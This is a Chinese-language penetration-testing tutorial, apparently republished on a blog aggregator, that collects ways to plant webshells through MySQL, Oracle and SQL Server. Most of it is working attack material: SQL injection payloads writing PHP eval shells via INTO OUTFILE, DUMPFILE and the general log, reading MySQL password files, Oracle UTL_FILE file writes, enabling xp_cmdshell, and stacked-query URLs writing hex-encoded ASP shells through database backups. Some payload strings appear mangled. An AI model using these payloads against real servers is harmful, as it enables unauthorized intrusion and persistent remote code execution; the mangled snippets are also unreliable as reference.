c++ 写入文件_常见数据库写入Webshell汇总
聲明
鄭重聲明:文中所涉及的技術、思路和工具僅供以安全為目的的學習交流使用,任何人不得將其用于非法用途以及盈利等目的,否則后果自行承擔!
前言
我日常被毒打,下次請師傅們輕點,沒玩過就玩一遍吧,目前只寫了常見的3個數據庫,如果后面又遇到其他的數據庫在添加。
P.S.歡迎來GitHub找我玩
博客:www.ascotbe.com
MySql數據庫
前提條件
數據庫當前用戶為root權限
知道當前網站的絕對路徑
PHP的GPC為 off狀態
寫入的那個路徑存在寫入權限
注意點:
secure_file_priv參數說明
這個參數用來限制數據導入和導出操作的效果,例如執行LOAD DATA、SELECT … INTO OUTFILE語句和LOAD_FILE()函數。
如果這個參數為空,這個變量沒有效果
如果這個參數設為一個目錄名,MySQL服務只允許在這個目錄中執行文件的導入和導出操作。這個目錄必須存在,MySQL服務不會創建它
如果這個參數為NULL,MySQL服務會禁止導入和導出操作。這個參數在MySQL 5.7.6版本引入
如果遇到以下情況的話,使用SQL語句中的outfile是無法成功的,但是寫入日志的方法是可以成功的
show variables like '%secure%';開啟secure_file_priv
修改my.ini文件后需要重啟MySql
secure_file_priv為NULL禁止導出文件secure_file_priv=""secure_file_priv指定地址限制導出地址只能在此secure_file_priv=“D:/”secure_file_priv為空可以導出到任意文件secure_file_priv=查看是否有寫入權限
select group_concat(user,0x3a,file_priv) from mysql.user;出現Y,這就代表你有文件權限,N就是沒有一、基于聯合查詢
注入點位置如下,后面使用的話會省略這段值
http://127.0.0.1/test/Less-2/?id=1利用outfile方法
UNION ALL SELECT 1,2," phpinfo(); ?>" into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\test\123.txt" --可以發現寫入成功了,值得注意的是我們寫入的是在test目錄和123.txt中間沒有用雙斜杠,這樣寫入的文件會被過濾了,直接寫到了WWW目錄而不是test目錄里面
利用dumpfile方法,這種方法可以寫入16進制數據
UNION ALL SELECT 1,2," phpinfo(); ?>" into dumpfile "C:\\phpStudy\\PHPTutorial\\WWW\\test\123.txt" --寫入普通數據
把PHP內容寫成16進制編碼數據在寫入
二、基于非聯合查詢
into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\123.txt" fields terminated by " phpinfo(); ?>" %23 --三、基于log日志寫shell法
先看看當前mysql下log日志的默認地址,同時也看下log日志是否為開啟狀態,記下來后面需要改回來的
show variables like '%general%';然后開啟日志
set global general_log = on;設置日志寫入位置
set global general_log_file = 'C:/2.txt';寫入日志
select '<?php eval($_POST['ascotbe']);?>';修改為原來的路徑
set global general_log_file='c:/xxxxx/xxxx'關閉日志記錄
set global general_log = off;四、基于創建再導出的方法
連接test數據庫
use test;搜索并刪除存在的ascotbe這個表
drop table if exists ascotbe;創建這個表,在里邊加個字段xxx
create table ascotbe(xxx text not null);在里面寫入一句話
insert into ascotbe(xxx) values ('<?php phpinfo(); ?>');然后把這句話導出來
SELECT xxx FROM ascotbe INTO OUTFILE 'D:/2.txt';然后刪除表
DROP TABLE ascotbe;五、低權限利用
如果你發現一個注入點,但是這個注入點只是一個普通權限沒法寫 shell
利用條件:
知道一個數據庫用戶賬密
能進入到 phpmyadmin 下
一些默認文件路徑位置沒有更改
首先查看日志是否開啟,然后看看日志文件路徑根據這個路徑推算出默認的user.MYD路徑。一般默認的位置都是在 Mysql\data\mysql\user.MYD 這個路徑下
show variables like '%general%';然后把密碼的文件導入到表里面,這邊插入的表為ascotbe,這邊有個點需要注意下導入文件的位置需要用\可能會報錯,需要替換成/
LOAD DATA LOCAL INFILE 'C:/phpStudy/PHPTutorial/MySQL/data/mysql/user.MYD' INTO TABLE ascotbe FIELDS TERMINATED BY '';可以看到導入成功
Oracle數據庫
首先是搭建環境,這邊選著docker搭建,搭建好直接用navicat連接
這邊測試使用的是DBA權限中的system賬戶
一、利用文件訪問包寫shell
首先創建我們得先建立一個ORACLE的目錄對象指向XXXX,這邊測試指向的路徑為/home/oracle
create or replace directory IST0_DIR as '/home/oracle';我們查看docker的路徑,以及路徑下的內容
如果后面寫入失敗了可以執行這條命令對這個目錄進行授權下
grant read, write on directory IST0_DIR to system;然后寫入文件
declare isto_file utl_file.file_type; --定義變量的類型為utl_file.file_typebegin isto_file := utl_file.fopen('IST0_DIR', 'ascotbe.jsp', 'W'); --指定為IST0_DIR 目錄下面的kj021320.jsp文件寫操作 utl_file.put_line(isto_file, '這是一個一句話webshell'); --寫入字符串 utl_file.fflush(isto_file); --刷緩沖 utl_file.fclose(isto_file); --關閉文件指針end;執行成功
可以發現寫入了shell
如果是真實環境的話我們并不能連接服務器,這樣我們怎么知道shell是否寫入成功呢?
declare isto_file utl_file.file_type; --如上 fp_buffer varchar2(4000); --沒必要說了吧?begin isto_file := utl_file.fopen('IST0_DIR', 'ascotbe.jsp', 'R'); -- 指定為讀操作 utl_file.get_line (isto_file , fp_buffer ); --讀取一行放到 fp_buffer 變量里面 dbms_output.put_line(fp_buffer);--在終端輸出結果看看 utl_file.fclose(isto_file); --關閉文件指針end;執行即可讀取我們寫入的文件內容了
SqlServer數據庫
首先搭建環境,當前使用的環境是SQL Server 2019,具體的搭建自行百度
拿shell的兩大前提
有相應的權限db_owner
知道web目錄的絕對路徑
測試的時候默認使用sa進行連接
一、尋找絕對路徑
報錯信息
字典猜
旁站的目錄
存儲過程來搜索
讀配置文件
前三種方法都是比較常見的方法。我們主要來講第四種調用存儲過程來搜索。
在mssql中有兩個存儲過程可以幫我們來找絕對路徑:xp_cmdshell和 xp_dirtree
二、利用xp_dirtree方法來尋找
先來看xp_dirtree直接舉例子
execute?master..xp_dirtree?'c:'?--列出所有c:\文件、目錄、子目錄execute master..xp_dirtree 'c:',1 --只列c:\目錄execute master..xp_dirtree 'c:',1,1 --列c:\目錄、文件列出所有的C盤文件、目錄、子目錄
只列出目錄
列出文件和目錄
注意
這邊使用xp_dirtree舉例所列出的文件都是基于當前盤符當前目錄的,不包括目錄里面的文件,比如我們查看D盤內容
可以看到只有兩個文件,可以論證之前說的
真實環境下的操作
當實際利用的時候我們可以創建一個臨時表把存儲過程查詢到的路徑插入到臨時表中
CREATE TABLE tmp (dir varchar(8000),num int,num1 int);insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;然后查詢下表發現成功寫入
三、利用xp_cmdshell方法來尋找
SQL Server 阻止了對組件 xp_cmdshell的過程sys.xp_cmdshell的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啟用。
如果遇到xp_cmdshell不能調用解決方法,這樣我們就只能能執行CMD命令了,開啟方面需要連接數據庫才行。PS:如果都開啟這種方法就不用寫shell了直接執行CMD下載木馬即可
;EXEC sp_configure 'show advanced options',1;//允許修改高級參數RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1; //打開xp_cmdshell擴展RECONFIGURE;--接下來我們先來看cmd中怎么查找文件,該條命令如果用powershell會報錯
for /r d:\ %i in (2*.php) do @echo %i需要建立一個表 存在一個char字段就可以了
http://xx.xx.xx.xx/test.aspx?id=1;CREATE TABLE cmdtmp (dir varchar(8000));http://xx.xx.xx.xx/test.aspx?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r d:\ %i in (2*.php) do @echo %i'成功查詢出結果
寫入Webshell
一、利用xp_cmdshell命令寫shell
上面說了xp_cmdshell這個存儲過程可以用來執行cmd命令,那么我們可以通過cmd的echo命令來寫入shell,當然前提是你知道web目錄的絕對路徑,如果不存在路徑會報錯。
http://xx.xx.xx.xx/test.aspx?id=1;exec master..xp_cmdshell 'echo ^"Jscript"%^>^"pass"],寫入成功
二、差異備份寫shell
因為權限的問題,最好不要備份到盤符根目錄
當過濾了特殊的字符比如單引號,或者 路徑符號 都可以使用定義局部變量來執行。
http://xx.xx.xx.xx/test.aspx?id=1;backup database 庫名 to disk = 'D:\bak.bak';--http://xx.xx.xx.xx/test.aspx?id=1;create table [dbo].[test] ([cmd] [image]);http://xx.xx.xx.xx/test.aspx?id=1;insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E);http://xx.xx.xx.xx/test.aspx?id=1;backup database 庫名 to disk='D:\ascotbe.asp' WITH DIFFERENTIAL,FORMAT;--這里測試只能進行備份,執行最后一句差異備份會報錯,所以可以直接進行備份寫shell,雖然文件會很大
可以看到shell是寫進去了,就是文件有點大
三、log備份寫shell
LOG備份的要求是他的數據庫備份過,而且選擇恢復模式得是完整模式,至少在2008上是這樣的,但是使用log備份文件會小的多,當然如果你的權限夠高可以設置他的恢復模式
//以下步驟省略http://xx.xx.xx.xx/test.aspx?id=1alter database 庫名 set RECOVERY FULL;create table cmd (a image) ;backup log 庫名 to disk = 'D:\test' with init ;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) ;backup?log?庫名?to?disk?=?'D:\test\2.asp';參考文章
https://www.cnblogs.com/springside-example/archive/2007/09/06/2529958.htmlhttps://blog.csdn.net/zyq357/article/details/104698157https://blog.csdn.net/junmail/article/details/4381287https://www.cnblogs.com/xuliangxing/p/6005154.htmlhttps://y4er.com/post/mssql-getshell/總結
以上是生活随笔為你收集整理的c++ 写入文件_常见数据库写入Webshell汇总的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: vba 判断文本框内容是否为空_VBA代
- 下一篇: 关于C++中公有继承、私有继承、保护继承